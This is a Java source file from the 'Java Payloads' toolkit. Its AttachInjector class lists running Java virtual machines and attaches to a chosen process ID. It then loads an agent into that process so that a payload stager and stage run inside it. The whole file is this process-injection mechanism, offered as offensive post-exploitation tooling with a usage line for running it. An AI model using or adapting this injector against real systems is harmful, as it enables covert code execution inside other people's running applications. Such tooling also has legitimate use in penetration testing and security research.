/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.builder;
import java.io.PrintStream;
import java.util.List;
import javapayload.handler.stager.StagerHandler;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
public class AttachInjector {
public static void main(String[] args) throws Exception {
if (args.length == 1 && args[0].equals("list")) {
listVMs(System.out);
return;
}
if (args.length < 5) {
System.out.println("Usage: java javapayload.builder.AttachInjector <pid> <agentPath> <stager> [stageroptions] -- <stage> [stageoptions]");
return;
}
final String[] stagerArgs = new String[args.length - 2];
for (int i = 2; i < args.length; i++) {
stagerArgs[i - 2] = args[i];
}
inject(args[0], args[1], new StagerHandler.Loader(stagerArgs));
}
public static void inject(String pid, String agentPath, StagerHandler.Loader loader) throws Exception {
loader.handleBefore(loader.stageHandler.consoleErr, null); // may modify stagerArgs
String[] stagerArgs = loader.getArgs();
final StringBuffer agentArgs = new StringBuffer();
for (int i = 0; i < stagerArgs.length; i++) {
if (i != 0) {
agentArgs.append(" ");
}
agentArgs.append(stagerArgs[i]);
}
final VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(agentPath, agentArgs.toString());
vm.detach();
loader.handleAfter(loader.stageHandler.consoleErr, null);
}
public static void listVMs(PrintStream out) {
List vms = VirtualMachine.list();
for (int i = 0; i < vms.size(); i++) {
VirtualMachineDescriptor desc = (VirtualMachineDescriptor) vms.get(i);
out.println(desc.id()+"\t"+desc.displayName());
}
}
}